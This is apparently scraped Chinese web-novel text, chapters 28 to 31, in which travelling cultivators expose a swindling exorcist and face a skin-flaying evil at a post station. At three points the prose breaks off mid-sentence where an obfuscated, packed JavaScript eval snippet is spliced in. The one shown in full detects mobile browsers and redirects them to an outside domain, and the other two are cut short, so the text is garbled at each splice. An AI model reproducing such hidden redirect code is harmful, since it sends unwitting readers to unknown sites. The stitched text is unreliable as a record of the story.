“可不似嘞,现在人情淡薄的喏,要不似义庄赶尸的发现他们一家不对劲,整家人都上天也不晓得咋回似(事)喏。”陈荣说完,小眼睛骨碌一转,落到了刚刚默不作声坐在一旁的满月身上,他笑呵呵的,一团庄稼人特有的淳朴与和气,“这位小仙姑生得真俊,瞧着与俺家大女儿差不多大,不知该怎么称呼?” 他这一问,满月瞬间成了全场视线的焦点。她颇为不习惯地往后缩了缩,虽对面前的人心存忌惮,但顾着面子,还是客气回答:“你叫我满月即可。” “满月,似不似天上那个圆月?”陈荣笑道,“好名字,真似个好名字。” 满月勉强笑了笑,并不接着搭话。 “小河去,给你满月姐姐打个招呼。”陈荣摸了摸那只叫小河的猴子,轻轻推它一把。 小河闻言直立起来,它原先在戏班被训练过两条腿走路,模样可笑又滑稽,它走到满月身旁,满月还对先前不知是不是错觉的那一幕心有余悸,不觉往后退了一步。 玄妙以为她怕猴子,在旁边安慰道:“别怕,小河不会攻击人。” 满月却仍一瞬不瞬盯着这只丑陋的猴子,丝毫不敢放松警惕。小河眼睛圆溜溜的,又黑又亮,处处透着讨喜的机灵劲,它露出那种特有的谄媚神色,双手交叠在一起作揖,像是在讨好她。 这样子浑然不像之前呲牙的诡异阴森。 “嘿,看来俺们小河很喜欢这位小仙姑。”陈荣笑嘻嘻的,他拿起手边的竹哨吹了下,小河似是委屈兮兮地叫了一声,将自己还算毛茸茸的脑袋拱到了满月面前。 满月眨眨眼,不知这是何意。 “小河想让你摸摸它嘞。”陈荣笑道,“莫怕莫怕,它在戏班子里长大,一向爱和人套近乎。” 满月犹豫了下,还是迟疑着抬起手来。 这本是出于礼貌的客套,可就在她的手放在小河头上的一刻,意想不到的变故发生了。 将才还一切安好的小河突然发出一声凄厉的尖叫,后背像是被什么灼烧,痛得它龇牙咧嘴,双手抱头,满地打起滚来。 陈荣骤然变了脸色。 28. 028 满月被这突如其来的变故惊到,她怀里的小肥啾也被吓了一跳,缩回她怀里止不住地瑟瑟发抖。 旁边的许陈仓反应倒是快。相比于这个一面之缘的奇怪货郎,她明显更关心满月。 许陈仓一把将满月护在身后,她轻蹙起眉,又是警惕又是疑惑地盯着地上扭曲抽搐的小河。 程南楼怔愣一瞬,正要查看情况,已是有人先他一步。 陆宴白屈膝半跪下来,月光沿着他的侧影镀了层银边,修长白皙的手还没碰到猴子,陈荣就像是发了疯一样扑到小河身前,挡住了他。 “你们,你们要对俺小河做什么!”陈荣怒目圆睁,死死盯着陆宴白,“亏俺还以为你们似好人,你们就似这么害俺小河的!” 陆宴白漫不经意瞧着挡在他面前的人,唇边照旧挂着抹捉摸不透的笑:“你不让开,我怎么救它。” “不用你们救!”陈荣抱着着了魔一般不住抽搐的小河,一把鼻涕一把泪,哭得老辛酸了,字字血泪,“俺小河不过似只猴儿,哪里得罪你们了,要这么害俺小河……” 陆宴白懒洋洋站起身,他双手抱臂胸前,好整以暇看着地上撒泼打滚的人,黑眸之中不见丝毫波动。 满月忍不住往前探了半步,想要去看看情况,却被许陈仓拦了下来。 许陈仓对她摇了摇头。 “我们并无恶意,将才的事,或许只是意外。”程南楼道。他语气温和,说话时总有种让人不觉信服的沉静,三言两语间,就安抚住了几近情绪崩溃边缘的陈荣,“让我看看它究竟怎么回事,定然给你一个解释。” 玄妙挠挠脸,这时也回过神来,附和道:“是啊是啊。”满月与陈荣,一个是他救的,一个是救他的,他小小年纪,夹在其中实在左右为难。 陈荣巡睃一圈,考虑再三,还是放开了手。 地上的小河已经不动弹了,气息奄奄,有一声没一声地哼唧着,但不再像刚刚那么痛苦。 程南楼仔细检查了一遍,并没有发现异样,也不见有任何妖力施展过的痕迹,可见不会是满月所为。 陈荣终于冷静下来,他吸了吸鼻子,打量着程南楼的神色:“似什么问题?” 程南楼将一粒丹药塞入小河口中:“看不出来,但总归与刚才的那位姑娘无关。你将小河买来时,班主可有告知它究竟是病在哪里?” “那还用问。”陈荣怔忪,“不就似它身上掉毛。” “许还有什么隐疾。”玄妙抢答道,“所以刚才发作了。” 几人一言一语地交谈。旁观了全程的陆宴白觉得没意思起来,他看了眼一旁还没完全回过神来的满月,转身先离开了。 满月仍是怔愣愣的一副表情,不光是因为之前突然的变故,更多的是因为她心底莫名泛起的不安与悚然。 她低头看着自己的手,想不明白究竟是怎么回事。 她刚才碰到小河时,掌心似乎确实有过一阵细微的刺痛感。 只是那感觉太轻微,她当时并没有太注意。 ……难道小河受伤,真的与她有关? “别想了。”一旁的许陈仓打断了满月。她对这个小妖怪还是很有好感的,不想让她太过自责,“这件事和你没关系,你看你的灵宠都吓坏了,我们去那边休息吧,这里先交给南楼师兄。” 满月回神,她摸摸小肥啾的脑袋,心疼地抱紧了它:“好。” 她们来到营地边缘,发现有人比他们先来躲清闲。 “师兄。”许陈仓道。 陆宴白收起手上的东西,抬眸看了她们一眼,见满月微垂着脑袋,一副魂不守舍的模样,轻笑道:“被吓到了?” 满月听他似是在跟自己说话,抬起头,正对上他笑意盈盈的视线。 满月此时没什么心情再与他牵扯,她垂下眼,挑了处还算干净的地方坐下来。 小肥啾在满月的安抚下逐渐平静下来。它今天似乎格外疲惫,不一会儿就又沉沉睡去了。 许陈仓也挨着满月坐下,她回头看了眼程南楼他们,才道:“师兄,你可看出刚才有什么问题吗?” 陆宴白瞧她一眼,不答反问:“你觉得那人有问题?” 许陈仓想了想才回答:“之前是不觉得,但刚刚……我总觉得他反应太大了些,小河出了事,他第一反应不是该关心小河发生了什么吗?怎么反倒第一时间将矛头对准我们,认为是我们动了手脚?” “许是常年在外,比较警惕吧。”陆宴白瞧着满月怀中的小肥啾,漫不经心道。 这个解释勉强也说得通。 但许陈仓还是觉得哪里不对劲,她拔起地上的狗尾巴草,绕在手指上。 “真要担心,让他离开好了。”陆宴白不以为意。 许陈仓一张冰山脸看起来不近人情,但毕竟从小受行藏道人的教诲,自认应救世济民,做不到像他师兄那般随心所欲。 她苦恼了良久,还是道:“许是我想错了,反正到了密云城他就离开,这段时间小心些罢了。” 陆宴白并不意外她这么说。他从善如流:“也好。” “对了。”许陈仓想起一件要紧事,“师兄是不是到溪山就要和我们分开走了?” 满月正理着小肥啾的绒毛,冷不丁捕捉到了关键字,一时连陈荣的事都顾不上了,她猛然抬起头,看向话题中心的人。 陆宴白嗯了一声,一转眸对上满月没来得及收回的目光,略扬了下眉。 胆子变大了,都敢盯着他瞧了。 满月慌忙垂眼,心却砰砰直跳。 什么分开走? 她是不是听错了? 陆宴白和许陈仓谁也没接着往下说。 满月犹豫再三,只得若无其事地开口问道:“分开走……你要去哪里?” “师兄有事要去溪山一趟。”许陈仓代为回答,全无听出满月语气里所隐约暗含的期待。 原来他当时说不和他们一起走,不全是骗她的。 满月倒霉了一整天,没想到临了却得到这么大一个意外之喜。她抑制不住地有些雀跃起来,一转头,却发现陆宴白单手支着脸,正饶有趣味地盯着她看。 满月强行压下嘴角,重新换上一副惋惜的表情:“那真是不巧了,我还以为你会和我们一起到盛京。” 陆宴白笑眼弯弯:“舍不得我?” 满月也笑,半真半假:“自然舍不得,毕竟到了盛京我就要走,日后恐怕再也见不到了。” 一不留神真心话就冒了出来。 她终于不用再见他了!! “这好办。”陆宴白很是善解人意,“我带你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995432|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起去办事,等办完再送你回去不就行了。” 满月的笑容瞬时凝固在脸上。 她脑袋宕机,半晌,只发出一个单音节:“……啊?” 眼见满月又快要碎掉,还是许陈仓看不下去了:“师兄在逗你玩。” 陆宴白的笑容却愈加灿烂:“我可没骗她,她自己说舍不得我的。” 那是客套话!客套话!!这都听不出来吗?!! 满月简直抓狂,但面上还得保持微笑:“我瞎说的,不必当真。” 陆宴白哦了一声,慢条斯理弯起眼睛,笑道:“那就是说,你不想和我待在一起了?” 满月:“……” 许陈仓对她师兄的恶趣味早司空见惯,扶额默默偏开了头。 满月知道再这么顺着陆宴白的话说下去,她迟早又得掉入进去,于是果断转开话题:“你去溪山办什么事?” 许陈仓看了看陆宴白,这次没有代为回答。 满月以为自己问到什么不该问的了,正要岔开,陆宴白先已语调慵懒地回答了她:“找东西。” 哦,找东西。 等等……找东西? 满月倏地抬眸,因为太过惊讶,眼睛睁得微圆。 他是在找……其他的命魂珠? 她的惊讶尽数落在他的眼中。 陆宴白似乎猜到她在想什么,他笑了笑,修长的手指轻轻在唇边抵了下,看似漫不经心,但却和他警告她那天的动作一模一样。 这是摆明了告诉她,让她保密。 满月心惊胆战地移开眸,心里却五味杂陈。 ……这种像他同谋的感觉是怎么一回事。 正想着,那边陈荣和玄妙就先走了过来,打断了她的思绪。 陈荣已然恢复了正常,再没有刚才得歇斯底里,他一来就点头哈腰赔起不是:“俺该死,刚刚一似(时)情急,冤枉了仙姑,特来跟小仙姑赔个不似。” 三人一齐看向他,陈荣伸手打了自己一巴掌,不轻不重,声音倒响:“仙姑若似怨俺,也似该的,俺这糊涂脑袋,一着急就什么都忘了。” 他说着抬起手,像是还要再打自己一巴掌。 满月见状只好道:“不怪你,你担心小河,情有可原的。” 陈荣听她这样讲,松了口气,笑呵呵道:“仙姑就似仙姑,肚量大,不跟俺们这没见过似(世)面的人计较。” 既道了歉,这事就算翻了篇。 满月本来也没怎么计较,只是对着陈荣时那种奇怪的怪异感愈加强烈。 也许就像陈仓说的,只是多想了吧。 夜深了,几人划分了休息的地方,布了阵法,才各自歇下。 满月一闭上眼,困意就不受控制地袭来。她抱着小肥啾,缩成一团比较有安全感,很快就睡了过去。 明月高悬,四下寂然,偶尔能听到玄妙咕哝着说梦话,除此之外再没有别的响静。 不知睡了多久,半梦半醒间,满月似是感觉到有什么东西呼吸间出的热气喷在她脸上。 “别闹,好好睡。”满月以为是小肥啾,嘀咕了一句,没怎么当回事。 那热气仍还在。 她皱皱眉,想赶走它,一伸手,却摸到一张毛茸茸的脸。 满月倏地睁开了眼。 29. 029 四周很安静。 安静到耳边的呼吸声都清晰可闻。 满月保持着这个姿势没敢动,一股寒意从脊梁骨窜了上来,无可名状的惊悚遍布全身,分明暑热的天气,她却连指尖都变得冰凉。 睡觉前陈仓他们在四下布了阵,所以不可能有什么东西会悄无声息地接近他们。 所以在她面前的,只可能是已经在阵中的人。 心念电转,满月理清这个逻辑后胆子也大了些。她强忍住心头的恐惧,慢慢转过头,虽然早有准备,但看到凑在她面前的一张皱皱巴巴的丑脸,还是差点吓得叫起来。 小河。 满月大气不敢出,就这么跟这只丑猴子面对面僵持着。 它要干什么? 满月警惕地盯着小河,身体紧绷起来,准备它一有攻击的动作,她就随时逃走求救。 然而就这么待了半晌,她不动,小河也不动。 满月渐渐有些不耐烦了,她瞧出小河似乎没什么攻击的恶意,肩膀稍稍放松了些。 “你要干什么?”满月小声道。 说完她才感觉荒谬,一只精怪都算不上的猴子,她竟然试图与它交流。 正当她准备挪到一旁换个地儿,小河眨了眨又黑又亮的眼,一滴硕大的眼泪,顺着它皱皱巴巴的脸淌了下来,滴在满月的衣襟上。 满月一愣。 这只猴子……哭了? 她惊异地重又瞧向小河,这只丑陋的猴子与白日里完全不一样,再没有一点谄媚讨巧的神色,它静静望着她,一双大眼睛中,仿佛盛满了无边无际的哀伤,似是有千言万语要对她说。 满月还对昨晚发生的事心有余悸,不敢贸然有所动作。 她盯着略显怪异的小河,又陷入与它的僵持中。 就在满月思考下一步该怎么做时,小河却忽然一转身,默默走开了。 无事发生。 满月眨眨眼,对刚才的一切只感到莫名其妙。 她一丝睡意也无,干脆从地上坐起来,借着影影绰绰的月光,看到小河重新回到了陈荣身旁,它抓了抓耳朵,若无其事地趴下,也睡去了。 第二天一早,其他人休息得不错,一个个精神焕发,只有满月眼下一片淡淡的青黑,呵欠连天,一看就没睡好。 许陈仓以为是满月睡不惯野外,于是道:“今晚你在马车上休息好了,把玄妙换下来。” 满月有苦难言,可又不能把昨夜的事说出来。她没真凭实据,况且也没造成什么后果,讲了反倒像她无事生非。 她不着痕迹地往陈荣那边看了看,陈荣正在给他的毛驴喂干草,小河在一旁抓自己的虱子玩,均无异样之处。 满月心有戚戚,有意避着陈荣和小河,好在其后的几日没再出什么意外状况,一路上相安无事。 日头高挂。 穿过阴凉的茂林,眼前陡然开阔起来,一条敞亮的官道延伸,便见不远处的驿站。 这几日风餐露宿,不说满月,就连玄妙都有点吃不消,看到有人烟的地方,他久旱逢甘露,一扫病恹恹的有气无力,跳起来,眉梢眼角是止不住的雀跃:“师兄,我们能不能在驿站多歇两天?” 程南楼未置可否,倒是陆宴白笑吟吟瞧他一眼。 玄妙立时偃旗息鼓:“不歇也没事。” 马车渐近,驿站旁围了不少人,聚在一起,不知道在干什么。 玄妙颇为好奇,伸长了脖子想看被人群围在里面的是什么。陈荣骑着自己那头小毛驴,一扬鞭子快走几步先过去凑热闹。 马车在树荫下停住,玄妙等不及,先跳下了车。 满月戴上之前陈仓给她的帷帽,白纱将她的视线遮掩,看东西就像隔着一层雾,模模糊糊的。 她头次戴这玩意儿,还很不习惯,下车时险些踩了空。 身边有人扶住了她。 暑热之天,那人的指尖却一如既往地冰凉。 满月安然无恙落了地,顺着先前扶她的方向看去,隔着白纱,隐约辨清陆宴白修长如玉的身形。 不得不说,如果看不到脸,还真的会觉得陆宴白是难得一见的美少年。 不过细究起来,满月似乎并不能准确记起他长什么样,记忆中就好像他的脸总蒙着一层雾一样。 奇怪的感觉。 “多谢。” 满月道了谢赶忙追上大部队,结果发现只剩下许陈仓一个,她不爱去人堆里凑热闹,站在树荫底下乘凉。 玄妙早在车上就肚子疼,前面围得水泄不通,一时半会儿也看不着发生了什么,程南楼就带着他先找地方解手去了。 陈荣不见人影,只留小河紧跟在陈仓旁边。想来他已经钻进了前面的人堆里。 “前面怎么了?”满月好奇道。 许陈仓摇了摇头,不怎么感兴趣,随意猜测:“许是在卖什么新奇玩意儿吧。” 满月踮起脚尖想看,但却只看到一片黑鸦鸦的后脑勺。 不出片刻,一马当先的陈荣回来了。 他脸色很是不好,像目睹了什么极为恐怖的事物。 许陈仓见状轻轻蹙了下眉,问道:“出了什么事?” “死人了。”陈荣受了不小的惊吓,面色略有些发白,显然还没完全回过神来,“你们别去瞧,可吓人了,整张皮都没了,啧。” 满月胆子不大,听他这么讲,立即打消了去一探究竟的想法。 陆宴白反而觑向她,笑道:“要去看看吗?” 满月知道陆宴白在打什么不怀好意的鬼主意,脑袋摇得像拨浪鼓,死活不肯靠近一步。 许陈仓抓来一个看完热闹离场的人打听情况,那人倒是言简意赅:“前头来了个大妖怪,就住在山上,最近这两日听说死了不少赶路的人,掌柜找了除妖师来,结果——”他朝着人群聚集的方向努了努嘴,“这不,被剥了皮送过来示威了。” 许陈仓一听有点来气了。她冷冷向着男子所说的地方扫了眼,道:“那妖怪何在?我来杀它。” 男子神色古怪地打量她一眼,以为自己遇上个脑子有问题的,摇摇头,快步离开了。 “别看了别看了,和你们没关系。”这时,一位中年男子拿着扫帚走过来,驱散了人群。 中年男子一拱手,恭恭敬敬亮出了身后的人。那人着灰色道袍,头戴一字巾,一手持道幡,一手摇道铃,半阖着目,款款往尸体的地方去,嘴里念念有词:“天地同生,扫秽除愆,炼化九道,还形太真。” 灰袍道人后面还跟着两个小弟子,均在口鼻处蒙着块绢布,一个端着收尸袋,一个端着辟邪的符箓与超度所需一应之物,也随着稚声喊道:“天地同生,扫秽除愆,炼化九道,还形太真。” 来往驿站的多是经商跑腿的普通人,一见这架势纷纷被唬住,站定在旁围观道长作法驱邪。 半路杀出个同道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“休得胡言。”那灰袍道人很快就回过神来,他怒视着面前的姑娘,语气仍旧是铿锵有力,不容置喙,“并无妖邪之气,乃是我净化超度之缘故,若真还存有,那才不寻常了!” 这话一出,原本因许陈仓质疑而有了些有意的掌柜立马打消了顾虑,双手继续要捧出钱袋。 许陈仓伸手挡住了钱袋。她盯着灰袍道人,面无表情:“你若如此解释,勉强倒也说得过去。可你有何证据证明这确实是妖异所为?我倒见识过不少以此为故,行坑蒙拐骗之事的人。” 这话便是极为严重的指控了。 许陈仓出门历练的次数虽不及陆宴白,但见识也不算太少,这类江湖术士惯有的骗招说来说去都差不多,无外乎故布疑云,用各类伎俩生造出个大妖,使得人心惶惶,再假借除妖之名来敛财。 “你!”灰袍道人气得手抖,他哼了一声,用手里的道幡跺了下地,冷声道,“贫道乃太平观清虚子,降妖除魔十几载,端的是以涤荡妖邪之事为己任,还从不曾被如此质疑过。倒是这位姑娘年轻气盛过了头,不知是以何身份,竟来指教我?” 清虚子的语气同样不再客气,咄咄逼人,直将许陈仓逼入死角,这架势今日势必要分个高下才罢休。 “晚辈许陈仓。”与清虚子的盛气凌人不同,许陈仓语气格外轻描淡写。她对上他极具压迫感的眼神,语调毫无起伏,“玄都观弟子见上。” 30. 030 当今之世,道观寺庙数不胜数,除妖之士遍地都是。太平观的名字响不响不知道,玄都观的名号,却是普天之下无人不知,无人不晓。 果不其然,玄都观这三个字一出,在场众人围观看热闹的目光都微妙地变了一变。 清虚子眉角微动,他大约也知道自己碰上个硬茬,可就这样服软认怂,到底是连名号也赔进去,只能硬撑着冷笑一声:“玄都观又如何?年纪轻轻就如此嚣张跋扈,见到前辈也不知放尊重些,目中无人,可见不得教养。” “知道自己没理,就开始倚老卖老,拿年纪来压人了。”满月嘀咕一句,偏巧这时人群安静了下来,把她这不大不小的一声显了出来。 满月:“……” 陆宴白抱臂胸前,笑着觑向她。 “又是何人在言语?”清虚子额角青筋暴起,尖锐的目光穿过人群,直直向着满月这个方向看来。 满月放下帷幔,赶忙往陆宴白身后藏了藏。 这清虚子虽十有八九打着除妖的名号坑蒙拐骗,可难保他没点真本事,要被他瞧出她的妖气就不妙了。 清虚子却没打算就这么放过她,眼见许陈仓是个油盐不进的硬骨头,他现在急需找一个软柿子来寻回场子。 而以他纵横江湖多年的毒辣眼力来看,这正是他要找的最佳人选。 清虚子还欲再说什么,却见站在那小姑娘身前的蓝衣少年笑了起来,不紧不慢道:“她是我们的小师妹,目无尊长不得教养得很,前辈万不必与她计较。” 这蓝衣少年的相貌放在人群中实在不显,他一开口,清虚子才注意到他。 清虚子看这蓝衣少年和和气气,像是个好说话的,不着痕迹松了口气:“贫道自是不与你们这些小辈计较,尔等须慎言慎行,勿再行此毁谤之事。” 语毕清虚子使了个眼色,准备让小弟子一拿到钱袋就赶紧离开。 陆宴白却笑意盈盈继续道:“只是晚辈尚且有一事不明,可否请前辈赐教?” 清虚子心感厌烦,偏这少年态度温雅有礼,有言道伸手不打笑脸人,当着众人面,他也只得耐下性子:“何事?” “前辈既蒙质疑,那为何不证明清楚,也免得徒生恶名。” “区区小辈,倒要我自证起来。”清虚子抬了抬下巴,语带不满,“一人质疑,我证明一次,百人质疑,我岂不得证明百次?无知小儿,贫道懒怠与你们再生口舌之辩。”说到最后,他话中已隐隐带了些怒气。 语毕,他一挥衣袖,转头就走。 陆宴白不为所动。那两个小弟子也准备拿钱走人,但被他慢悠悠地拦下了。 “前辈若不收这十八两香火钱,自不必证明。”陆宴白把玩着那钱袋,轻笑着,话锋却是陡然一转,“可既收了钱财,自当证明。” 蛇打七寸,兜兜转转了半天,这一句话正中要害。 清虚子脚步一顿,停了下来。 先前犹疑不定的掌柜终于被点醒了些。十八两银子不是个小数目,他这驿站半官半私,能赚的不多,刨去送回家里的,都是辛辛苦苦攒下的体己。 他迟疑着看向清虚子,小心翼翼道:“我看这位小道长也不是个胡搅蛮缠的……要不道长同他证明一二,也好给我们这些没见识的开开眼?” “荒唐可笑!”清虚子吹胡子瞪眼,着实被气得不轻。但他明白今天过不了这关,这银两断然拿不走,只能深吸一口气,继续周旋,“以你所言,如何证明?” 陆宴白一挑眉,淡道:“很简单,前辈只需召回亡魂,一问究竟即可。” 清虚子变了脸色:“都讲了,此人已被我超度升天,何来招魂一说。你岂不是砸我场子?” 陆宴白笑意不减:“不试一试,怎么知道呢?” 清虚子脸色转了几转,始终不接下文,只恶狠狠盯着陆宴白,简直想把他生吞活剥一般。 “说到底,你们不过是疑虑这事是我无中生有以此谋财罢了。”僵持半晌,清虚子故意忽略陆宴白的提议,巧妙地转了话题。 他看向掌柜:“先前留在你那里的那截手骨可还在?” “在在在!”掌柜忙不迭应声。他派了个伙计回店里,片刻之后,取来一样粗布包着的布囊。 清虚子冷哼一声,捋捋胡子,斜着眼睛瞧了那布囊一眼:“你们打开瞧瞧,就知这事是真是假。” 许陈仓接了过来,她翻开包裹,粗布正中包着半截手骨。 见到手骨的那一刻,许陈仓微微一怔。 这手骨上确实有妖邪之气。 只是……她总觉得这妖邪之气有点奇怪,可一时之间又说不上是什么原因。 清虚子敏锐捕捉到了许陈仓的微妙变化,心里有了几分底气,说起话来也掷地有声得多:“你们还有何言?总不能说这妖邪之气也是贫道凭空杜撰?” 人群中不知何人趁机起哄:“道长所言极是,这大妖吃人的事,我们早先就有耳闻,还望道长早日降妖除魔。” 另有几人附和他:“还望道长早日降妖除魔!” 许陈仓目无波动,只看向又有点被说动的驿站掌柜:“你这截人骨是从何处得来的?” 掌柜老实回答:“前不久有人上山,撞见这么具被吃得一干二净的尸骨,其余部分都埋了,只有这手骨,前一位仙长说要借它来寻那大妖踪迹,我才给留下的。” 大妖之说难道是真的? 许陈仓陷入沉思。 “道长,这……”掌柜看看清虚子,又看看许陈仓,不知该如何是好。 “若真有此猖狂妖邪,我也能杀。”许陈仓语气淡然,明明是如此狷狂之语,却被她说得轻描淡写,好像只是一件不值一提的小事。 清虚子一听急了,他面色铁青,仅用他们二人听得见的声音道:“拿人钱财,替人消灾,此乃天经地义之事,你们玄都观家大业大,但总不能不给其他人活路!” 许陈仓眸光略微一动,似是想到什么,轻蹙起眉来,一时半会儿倒真的讲不出话。 行藏道人也曾有过类似的教导,玄都观由皇家供奉,衣食无忧,可在外的除妖师以此为业,若不入门派,朝夕不保,大多过得清贫。他曾叮嘱弟子,出观历练,降妖除魔替天行道固然是应尽之职,但遇同道,最好不必强行出头,否则会阻人财路。 “那好。”正在许陈仓犹豫之时,陆宴白顺水推舟接过了话茬,他似笑非笑看着清虚子,“前辈尽管去降妖除魔,等你真的杀了那大妖,不必这十八两,三十两银子,分文不少,尽数由玄都观所出。如何?” 清虚子脸上一时青青白白,精彩纷呈。 掌柜并不懂他们先前在争辩什么,但陆宴白的这句他倒是听得明白。不用他出钱就能解决麻烦,自然是天大的好事。 掌柜面露喜色,拱手道谢:“多谢几位仙长!” 事已成定局,清虚子再要拿走钱袋,未免显得心虚。他暗恨不已,这种时候又不能露怯,只得端着架子阴阳怪气道:“玄都观一向以济世除邪而名满天下,如今竟也做起恃强凌弱、仗势欺人的勾当,玄都观的好名声迟早要被你们这些孽徒断送。” 陆宴白无动于衷,仍只看着清虚子,唇边噙着抹似是而非的笑:“那前辈应是不应?” 清虚子哼了一声,留下句“你且等着”便转身离去。 两个小弟子快步跟上前离开。 这一次没人再阻拦他。 没热闹可看,周遭的人很快散去了。 掌柜将许陈仓他们视为座上宾,点头哈腰地恭请进中堂。 许陈仓对这件事充满了诸多疑惑,不耐烦听他奉承,直截了当问起他这件事的前因后果。 掌柜这才一五一十从头讲起来。 这事大约是从五六天前开始的。起初是有人在离驿站不远的山脚下发现了一副尸骨,那尸骨死状怪异,不像是被野兽咬死,就有不少人说是山里来了个妖怪,这人就是被妖怪吃的。掌柜原本没怎么当回事,哪知这传言愈演愈烈,他也跟着将信将疑起来。偏巧这时有个除妖师住店,看了那副不知名的尸骨,断定说是妖邪所为,令掌柜安葬了尸骨,只留下那截手骨。他收了掌柜给的订金,约定上山除妖,结果第二日就被剥了皮送回来。 掌柜讲得胆战心惊,他连连叹气,死活想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这几日因着大妖一说人心惶惶,不少人被困在驿站,空房紧俏得很,掌柜凑了半天,勉强凑出几间来。只是陈荣领着小河,小河的毛发脱得稀稀疏疏,模样太过丑陋,掌柜说什么也不愿意让它进房间。一来二去争执不下,陈荣只得带着小河去后院的柴房歇息。 “不用担心俺,这场面俺见惯了。”陈荣一如既往笑呵呵的,大大咧咧,并不怎么将这件事放在心上。 而玄妙因肚子痛,错过了先前的那场热闹,正捶胸顿足,好不懊悔。 满月虽然围观了全程,但到底是没什么见识的行外人,也是一知半解,云里雾里。她与陈仓一间卧房,晚上听陈仓给她详细解释了一遍其中暗藏的玄机,才恍然大悟。 “这么说来,这一切都是那个清虚子设的局?那第一个落难的除妖师也是他的人?”满月再次被这些修道人一万个心眼子震撼到。 谁说他们妖奸诈的,明明人比妖奸诈多了。 许陈仓点头。她心里万分肯定,但审慎的性格使然,嘴上却只说:“十有八九。待明日我们去山上看看,自当水落石出。” 满月还是不明白:“可那具被剥了皮的尸首又是怎么回事?” 许陈仓略一沉吟,解释道:“我并没有亲眼见到,不过他收的那袋子并没有妖异之气,也不见被杀戮的怨气。若说是被他度化,勉强也能解释得通。但更有可能,那本就不是人的尸首,是他们用牲畜之类拼凑出来的。” 满月暗感心惊:“……好想法。” 诈骗到这份上,不得不说也是个人才。 许陈仓冷笑:“想法是多,可惜不用在正道上,再多也是徒劳。” 果然是官方除妖师,这发言,这觉悟。 满月打了个呵欠,已渐渐有了困意:“那明日我们就继续起身赶路吗?” “没什么意外的话,解决完这桩事就走。”陈仓的答案还是一如既往地严谨,“师兄要去溪山,没旁的事,应当不会多逗留。” 满月点点头。 满月昨夜因为小河都没怎么休息好,今天又为了驿站的事闹腾到大半夜。她和陈仓有一搭没一搭讲这话,不多久,就陷入梦乡。 夜影沉沉,云遮雾绕。 第二日天不亮,驿站外的一声尖叫,打破了凌晨的宁静。 31. 031 满月昨天晚上和陈仓夜话,睡得晚了些,被这一声突兀的尖叫惊醒,她揉了揉眼睛,睡眼惺忪地看向身边的陈仓:“怎么了?” 陈仓摇摇头,很快穿戴好起了身。等她与满月来到楼下,院子口早围了一群人。 “出了什么事?”满月不欲凑热闹,见陆宴白独自一人站在远离人群的地方,走过去问道。 陆宴白懒洋洋看着人堆聚集的方向,竟还有闲心吃包子。包子热气腾腾,显然是刚做好不久,鲜肉馅的,香气四溢。 这几日舟车劳顿,吃东西都主打一个凑合,满月闻到肉馅的香味,没忍住咽了口口水。 陆宴白倒是大方,见状将手边装着包子的纸袋递给她,里面刚好还剩一个。 满月犹豫了下,最后还是没抵挡住美食的诱惑,接了过来。 她撩起帷帽,双手捧着包子刚咬了一口,就听陆宴白慢悠悠说道:“死人了,而且这次死的是两个,听说也是被剥了皮,就剩下一堆烂肉。” 正在吃鲜肉包子的满月:“……” 陆宴白笑吟吟地瞧过来,见她停住了动作,略歪了下头:“怎么不吃了?不好吃吗?” ……呵呵。 她就知道他没安好心。 满月默默将没咽下的肉馅吐回袋子里,面无表情:“……不太饿,不想吃了。” 陆宴白笑得很是开心。 满月记得昨天陈仓说清虚子收走的那具被剥了皮的尸骨,并没有被杀戮的气息,猜测是他用牲畜的肉拼凑出来的,为的不过是唬人。 若那具尸体是伪造的,现在这凭空多出的两副尸体又是什么情况? “你去看过了吗?”满月问道。 陆宴白敛了笑,嗯了一声。 “这次的……是真的吗?” 陆宴白又嗯了一声,他抬眸重新望向那处,眼中深不见底,瞧不出他的心思如何:“这次,是真的。” 很快满月就从许陈仓和程南楼那里得知了来龙去脉。今天这两具尸体被剥皮的手法很是粗糙,但还能勉强看出原先的人形,与昨天糊弄人伪造的尸首截然不同。更重要的是,两具尸体上,都萦绕着驱之不散的死气。 没错,不是普通的妖气,而是令人闻之色变的死气。 下手的并不是清虚子所杜撰出的大妖,是比大妖还要危险数倍,动用死气修炼的邪祟。 简而言之,好消息是,清虚子所说的剥皮大妖确实不存在。 坏消息是,来了个更狠的。 这次的刺激,远比之前更大。若说先前还有一些理智的人对清虚子漏洞百出的行径保持怀疑,现在事实摆在面前,是不信也得信了。 驿站人人自危,不少胆小的已经打点行装准备原路返回,那些经商行径此处的,耽误不得行期,只得向掌柜施压,要他务必快些处理此事。 掌柜求爷爷告奶奶,才将来闹事的人暂时哄了回去。 阖上门,掌柜整个人都垮下来,他愁眉苦脸地瞧着屋内众人,央求道:“这事该如何办,还求诸位仙长尽快定个主意。” 许陈仓轻蹙着眉头,不知在思索什么,一言不发。 程南楼仔细勘验过那两具面目全非的尸首,深知对手并不简单,思忖片刻后道:“此人恐怕来历不小,又不知他具体的去向,要想短时间内解决,恐怕不易。” 掌柜一听傻了眼:“昨日几位道长不是说这事很好解决吗?” 昨日是昨日,今日是今日,这根本是两件事。 没法跟他讲清楚,索性不解释了。 